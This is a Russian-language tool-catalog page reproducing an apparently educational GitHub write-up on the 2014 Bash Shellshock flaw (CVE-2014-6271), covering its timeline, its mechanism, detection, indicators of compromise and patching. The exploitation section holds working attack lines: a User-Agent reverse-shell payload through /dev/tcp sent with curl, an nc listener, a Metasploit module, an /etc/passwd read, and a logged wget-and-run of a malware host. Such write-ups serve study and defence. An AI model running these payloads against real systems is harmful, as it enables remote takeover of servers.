Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
-CVE-2014-6271 | Kitploit
Инструменты/GitHubGitHub/kaleth4/-cve-2014-6271
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и Образование
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Удалённое выполнение кода через инъекцию в переменные окружения Bash

CVE CVSS Type Bash Status

"Ошибка, скрытая в Bash десятилетиями и потрясшая основы интернета менее чем за 24 часа."


Оглавление

  • Что такое Shellshock?
  • Хронология
  • Затронутые системы
  • Техническое описание
  • PoC — Подтверждение концепции
  • Векторы атаки
  • Полная эксплуатация
  • Индикаторы компрометации
  • Устранение уязвимости
  • Отказ от ответственности

❓ Что такое Shellshock?

Shellshock (также известный как Bashdoor) — это семейство критических уязвимостей в командном интерпретаторе GNU Bash, которое позволяет удалённому атакующему выполнять произвольные команды на целевой системе.

Фундаментальная ошибка: Bash не прекращал обработку переменной окружения после завершения определения функции. Любой код, добавленный после () { :; };, выполнялся автоматически.

root@kitploit:~
Переменная окружения → Определение функции → [ЗДЕСЬ ВЫПОЛНЯЕТСЯ ДОПОЛНИТЕЛЬНЫЙ КОД] ← БАГ

Поскольку веб-серверы (CGI/Apache), службы SSH и DHCP-клиенты преобразуют заголовки или параметры в переменные окружения Bash, поверхность атаки была огромной.


📅 Хронология

root@kitploit:~
12 Sep 2014 ──── Stéphane Chazelas обнаруживает баг и сообщает о нём Chet Ramey (мейнтейнеру Bash)
                 Баг существовал в Bash более 20 лет.

24 Sep 2014 ──── Публичное раскрытие + выпуск патча (CVE-2014-6271)
                 Часы спустя: активные ботнеты массово сканируют интернет.

25-30 Sep 2014 ── Обнаружены связанные уязвимости:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── Зарегистрированы миллионы атак. По серьёзности сравнимо с Heartbleed.

💻 Затронутые системы


🔬 Техническое описание

Механизм бага

Когда Bash импортирует функцию из переменной окружения, он читает до закрывающей } функции. В уязвимых версиях он продолжал обрабатывать последующий код вместо того, чтобы остановиться.

root@kitploit:~
# Вредоносная переменная окружения:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Уязвимый Bash при инициализации:
# 1. Читает определение функции  → OK
# 2. Встречает }; → должен остановиться
# 3. ПРОДОЛЖАЕТ → выполняет /bin/cat /etc/passwd  ← БАГ

Схема атаки через CGI

root@kitploit:~
Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

🧪 PoC — Подтверждение концепции

Базовая проверка уязвимости

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Результат на УЯЗВИМОЙ системе:

root@kitploit:~
VULNERABLE
this is a test

Результат на ИСПРАВЛЕННОЙ системе:

root@kitploit:~
this is a test

(или синтаксическая ошибка — никогда не выводит "VULNERABLE")


⚔️ Векторы атаки

1. CGI-BIN (самый распространённый)

Веб-серверы, использующие скрипты .cgi, преобразуют HTTP-заголовки в переменные окружения Bash.

root@kitploit:~
Затронутые заголовки: User-Agent, Referer, Cookie, X-Forwarded-For и любые пользовательские заголовки

2. SSH с ForceCommand

root@kitploit:~
# Если на сервере настроен ForceCommand, атакующий с действительным ключом может его обойти
ssh user@target '() { :;}; /bin/bash'

3. DHCP-клиент

Вредоносные DHCP-серверы могут внедрять переменные окружения в клиенты, использующие Bash для обработки ответа DHCP.

4. Прямые переменные окружения

root@kitploit:~
# Любой процесс, который наследует переменные окружения и запускает Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

💀 Полная эксплуатация: Reverse Shell

Шаг 1: Listener на машине атакующего

root@kitploit:~
nc -lvnp 4444

Шаг 2: Payload для reverse shell

root@kitploit:~
# Payload, который внедряется в User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Шаг 3: Отправка вредоносного запроса

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Шаг 4: Полученная оболочка

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Модуль Metasploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Индикаторы компрометации (IOC)

В логах Apache/Nginx

root@kitploit:~
# Ищем характерный паттерн в access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Пример вредоносного лога:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Подозрительные процессы

root@kitploit:~
# Дочерние процессы www-data/apache, которых не должно существовать
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Индикаторы в системе

root@kitploit:~
- Новые исполняемые файлы в /tmp, /var/tmp, /dev/shm
- Исходящие соединения с веб-сервера на неизвестные IP-адреса
- Изменение /etc/crontab или /etc/passwd
- Процессы bash, работающие от имени www-data без терминала

🛡️ Устранение уязвимости

Немедленный патч (КРИТИЧЕСКИЙ ПРИОРИТЕТ)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Проверка исправленной версии (должна показывать "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → УЯЗВИМАЯ
# GNU bash, version 4.3.33(1)-release → ИСПРАВЛЕННАЯ (зависит от дистрибутива)

Проверка после установки патча

root@kitploit:~
# Должен вернуть только "this is a test" — НИКОГДА "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Дополнительные меры

root@kitploit:~
# 1. Отключить CGI, если он не нужен
a2dismod cgi

# 2. WAF-правило для блокировки паттерна
# В ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. Непрерывный мониторинг логов
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ Отказ от ответственности

Этот репозиторий предназначен исключительно для образовательных целей, исследований в области кибербезопасности и авторизованных аудитов безопасности. Вся представленная здесь информация является общедоступной. Проведение тестов против систем без явного разрешения незаконно согласно законам большинства юрисдикций. Автор не несёт ответственности за неправомерное использование этой информации.


Обнаружено Stéphane Chazelas · Опубликовано 24 сентября 2014 года

CVSS Score: 10.0 (Critical) → Позднее скорректирован до 9.8 в CVSSv3

Скачать инструмент
ПродуктУязвимые версииСтатус
GNU Bash1.0.3 – 4.3Исправлено
Linux (Debian/Ubuntu/CentOS/RHEL)Версии до сентября 2014 г.Исправлено
Apple macOS / OS X10.10 и более ранниеИсправлено (Security Update 2014-005)
IoT-устройства со встроенным BashРазличныеЗависит от производителя
Веб-серверы с CGI поверх ApacheЛюбая версия с уязвимым BashИсправлено